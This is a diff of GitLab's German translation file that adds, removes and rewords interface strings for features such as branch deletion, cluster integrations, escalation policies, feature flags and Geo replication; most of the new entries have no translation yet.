@@ -5307,6 +5414,12 @@ msgstr "Geschützten Branch löschen"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Geschützten Branch '%{branch_name}' löschen?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Das Löschen des Branches '%{branch_name}' kann nicht rückgängig gemacht werden. Bist du sicher?"
@@ -5328,12 +5441,18 @@ msgstr "Keine Branches vorhanden"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Sobald du bestätigst und %{delete_protected_branch} drückst, kann der Vorgang weder rückgängig gemacht noch wiederhergestellt werden."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Nur ein Projektbetreuer oder -besitzer kann einen geschützten Branch löschen"
msgid "Branches|Overview"
msgstr "Ãœbersicht"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Geschützte Branches können in %{project_settings_link} verwaltet werden."
@@ -5367,6 +5486,9 @@ msgstr "Der Branch konnte nicht automatisch aktualisiert werden, da er von seine
msgid "Branches|The default branch cannot be deleted"
msgstr "Der Standardbranch kann nicht gelöscht werden"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Dieser Branch wurde noch nicht mit %{default_branch} zusammengeführt."
@@ -5379,6 +5501,18 @@ msgstr "Gib zur Bestätigung %{branch_name_confirmation} ein:"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Um die lokalen Änderungen zu verwerfen und den Branch mit der Upstream-Version zu überschreiben, lösche ihn hier und wähle oben \"Jetzt aktualisieren\"."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Du bist dabei den geschützten Branch %{branch_name} dauerhaft löschen."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr "Von %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "Standardmäßig versendet GitLab E-Mails in HTML- und Nur-Text-Formaten, sodass Mail-Clients das zu verwendende Format auswählen können. Deaktiviere diese Option, wenn E-Mails ausschließlich im Nur-Text-Format versendet werden sollen."
@@ -5580,15 +5720,15 @@ msgstr "CI/CD-Konfiguration"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD für externes Repo"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,8 +6433,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Wähle einen Branch/Tag (z. B. %{master}) oder gib einen Commit ein (z. B. %{sha}), um zu sehen, was geändert wurde oder um einen Merge-Request zu erstellen."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Wähle eine Datei"
@@ -6674,72 +6817,6 @@ msgstr "Schließt dieses %{quick_action_target}."
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "Basisdomäne"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr "CA-Zertifikat"
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Google Cloud Platform-Projekt"
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr "Subnetzwerke werden geladen"
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Maschinentyp"
@@ -7370,9 +7444,6 @@ msgstr "Stelle sicher, dass dein Konto %{link_to_requirements}, um Kubernetes-Cl
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Entferne die Kubernetes-Cluster-Integration"
@@ -7610,9 +7678,6 @@ msgstr "Wähle eine Zone aus, um den Maschinentyp auszuwählen"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "Auf unserer Seite ist etwas schief gelaufen."
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Commit"
msgid "CommitMessage|Add %{file_name}"
msgstr "%{file_name} hinzufügen"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "erstellt"
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr "Vertraulichkeit"
msgid "Configuration"
msgstr "Konfiguration"
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr "Neue Domain erstellen"
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Erstelle einen persönlichen Zugriffstoken in deinem Konto um mittels %{protocol} zu übertragen (push) oder abzurufen (pull)."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr "Gruppe erstellen"
msgid "Create group label"
msgstr "Gruppen-Label erstellen"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr "Erstelle eine neue Datei oder ein neues Verzeichnis"
msgid "Create new label"
msgstr "Neues Label erstellen"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Neu erstellen..."
@@ -9376,6 +9456,9 @@ msgstr "Erstelle deine erste Seite"
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr "Deaktiviert"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr "Discord-Benachrichtigungen"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr "Entdecke GitLab Geo"
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr "Fälligkeitsdatum"
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "Während dieses Vorgangs wirst du nach URLs von GitLab gefragt. Verwende die unten angezeigten URLs."
@@ -11819,9 +11932,6 @@ msgstr "Öffentlichen Bereitstellungsschlüssel bearbeiten"
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "Phase bearbeiten"
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,15 +12118,15 @@ msgstr ""
msgid "Embed"
msgstr "Einbetten"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr ""
msgid "Enable"
msgstr "Aktivieren"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Auto-DevOps aktivieren"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Aktiviere oder deaktiviere die Pseudonymizer-Datensammlung."
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "Beim Umschalten des Benachrichtigungs-Abonnements trat ein Fehler auf"
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr "Fehler:"
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr "Feature-Flag"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr "Behoben:"
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Fork von"
@@ -14469,6 +14647,9 @@ msgstr "Sekundärknoten"
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr "Nie"
msgid "Geo|Next sync scheduled at"
msgstr "Nächste Synchronisierung geplant um"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Noch nicht synchronisiert"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "Unbekannter Status"
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "Überprüfung fehlgeschlagen - %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
